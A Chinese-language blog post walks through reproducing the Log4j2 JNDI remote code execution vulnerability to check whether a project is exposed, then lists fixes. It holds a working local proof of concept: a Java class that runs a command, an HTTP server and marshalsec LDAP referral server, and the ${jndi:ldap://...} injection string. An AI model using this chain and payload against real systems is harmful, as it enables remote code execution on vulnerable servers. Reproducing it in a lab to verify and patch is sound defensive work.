检查你的项目有没有Apache Log4j2 RCE漏洞

简介: 12 月 10 日凌晨,Apache 开源项目 Log4j 的远程代码执行漏洞细节被公开,Apache Log4j 2.x <= 2.14.1 版本均回会受到影响。

简介

三步快速检测你的项目有没有Apache Log4j2 RCE漏洞。

漏洞原因

在使用org/apache/logging/log4j/spi/AbstractLogger.java log记录日志时,且log等级为执行等级就能触发。原因是log字符串中检测到${},就会解析其中的字符串尝试使用lookup查询,因此只要注入log参数内容,就有机会实现漏洞利用。


  1. 准备要远程执行的恶意代码,命名Log4jRCE.java,用javac编译成class文件

public class Log4jRCE {

   static {

       try {

           String [] cmd={"calc"};

           java.lang.Runtime.getRuntime().exec(cmd).waitFor();

       }catch (Exception e){

           e.printStackTrace();

       }

   }

}


  1. 在当前目录启动cmd,用python启动一个HTTPServer 服务,python -m http.server 8888,检测一下服务状态 http://127.0.0.1:8888/

image.png

  1. 开启JNDI LDAPRefServer:

git clone https://github.com/mbechler/marshalsec.git

cd marshalsec

# Java 8 required

mvn clean package -DskipTests

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"

image.png


在你的项目main方法里添加代码:

org.apache.logging.log4j.Logger logger = org.apache.logging.log4j.LogManager.getLogger(Demo.class);

logger.error("${jndi:ldap://127.0.0.1:1389/#Log4jRCE}");

image.png

执行远程代码成功,打开了本地的计算器程序。漏洞复现成功。


触发条件

  1. JDK版本11.0.1、8u191、7u201、6u211以下版本。其它版本需要增加代码System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
  2. 系统有可注入入口,比如后端拿到前端传来的字符串,打印了开启日志等级的日志。
  3. 系统使用log4j-api,log4j-core 2.14.1及以下版本



   org.apache.logging.log4j
   log4j-api
   2.14.1



   org.apache.logging.log4j
   log4j-core
   2.14.1


建议修复

  • JVM 参数添加 -Dlog4j2.formatMsgNoLookups=true log4j2.formatMsgNoLookups=True
  • 升级log4j版本2.14.1以上
  • 升级jdk版本


参考链接

https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce/issues/5

相关文章
|
Web App开发 JavaScript
Vue 项目中使用 debugger 在 chrome 谷歌浏览器中失效以及 console.log 指向去了 vue.js 代码
Vue 项目中使用 debugger 在 chrome 谷歌浏览器中失效以及 console.log 指向去了 vue.js 代码
2057 0
|
Java 微服务 Spring
微服务——SpringBoot使用归纳——Spring Boot使用slf4j进行日志记录——使用Logger在项目中打印日志
本文介绍了如何在项目中使用Logger打印日志。通过SLF4J和Logback,可设置不同日志级别(如DEBUG、INFO、WARN、ERROR)并支持占位符输出动态信息。示例代码展示了日志在控制器中的应用,说明了日志配置对问题排查的重要性。附课程源码下载链接供实践参考。
1490 0
|
Java 应用服务中间件 Linux
Tomcat运行日志字符错乱/项目启动时控制台日志乱码问题
总结: 通过以上几种方法,概括如下:指定编码格式、设置JVM的文件编码、修改控制台输出编码、修正JSP页面编码和设置过滤器。遵循这些步骤,你可以依次排查和解决Tomcat运行日志字符错乱及项目启动时控制台日志乱码问题。希望这些建议能对你的问题提供有效的解决方案。
2329 16
|
人工智能 监控 算法
3D-Speaker:阿里通义开源的多模态说话人识别项目,支持说话人识别、语种识别、多模态识别、说话人重叠检测和日志记录
3D-Speaker是阿里巴巴通义实验室推出的多模态说话人识别开源项目,结合声学、语义和视觉信息,提供高精度的说话人识别和语种识别功能。项目包含工业级模型、训练和推理代码,以及大规模多设备、多距离、多方言的数据集,适用于多种应用场景。
4994 18
3D-Speaker:阿里通义开源的多模态说话人识别项目,支持说话人识别、语种识别、多模态识别、说话人重叠检测和日志记录
|
Java Maven
java项目中jar启动执行日志报错:no main manifest attribute, in /www/wwwroot/snow-server/z-server.jar-jar打包的大小明显小于正常大小如何解决
在Java项目中,启动jar包时遇到“no main manifest attribute”错误,且打包大小明显偏小。常见原因包括:1) Maven配置中跳过主程序打包;2) 缺少Manifest文件或Main-Class属性。解决方案如下:
3324 8
java项目中jar启动执行日志报错:no main manifest attribute, in /www/wwwroot/snow-server/z-server.jar-jar打包的大小明显小于正常大小如何解决
|
JSON Java 数据库
SpringBoot项目使用AOP及自定义注解保存操作日志
SpringBoot项目使用AOP及自定义注解保存操作日志
475 1
|
JSON 中间件 Go
go语言后端开发学习(四) —— 在go项目中使用Zap日志库
本文详细介绍了如何在Go项目中集成并配置Zap日志库。首先通过`go get -u go.uber.org/zap`命令安装Zap,接着展示了`Logger`与`Sugared Logger`两种日志记录器的基本用法。随后深入探讨了Zap的高级配置,包括如何将日志输出至文件、调整时间格式、记录调用者信息以及日志分割等。最后,文章演示了如何在gin框架中集成Zap,通过自定义中间件实现了日志记录和异常恢复功能。通过这些步骤,读者可以掌握Zap在实际项目中的应用与定制方法
1045 1
go语言后端开发学习(四) —— 在go项目中使用Zap日志库
|
存储 Go 索引
go语言并发实战——日志收集系统(一) 项目前言
go语言并发实战——日志收集系统(一) 项目前言
245 1
go语言并发实战——日志收集系统(一) 项目前言
|
开发框架 .NET Docker
【Azure 应用服务】App Service .NET Core项目在Program.cs中自定义添加的logger.LogInformation,部署到App Service上后日志不显示Log Stream中的问题
【Azure 应用服务】App Service .NET Core项目在Program.cs中自定义添加的logger.LogInformation,部署到App Service上后日志不显示Log Stream中的问题
303 1
|
XML Java Maven
logback在springBoot项目中的使用 springboot中使用日志进行持久化保存日志信息
这篇文章详细介绍了如何在Spring Boot项目中使用logback进行日志记录,包括Maven依赖配置、logback配置文件的编写,以及实现的日志持久化和控制台输出效果。
logback在springBoot项目中的使用 springboot中使用日志进行持久化保存日志信息

推荐镜像

更多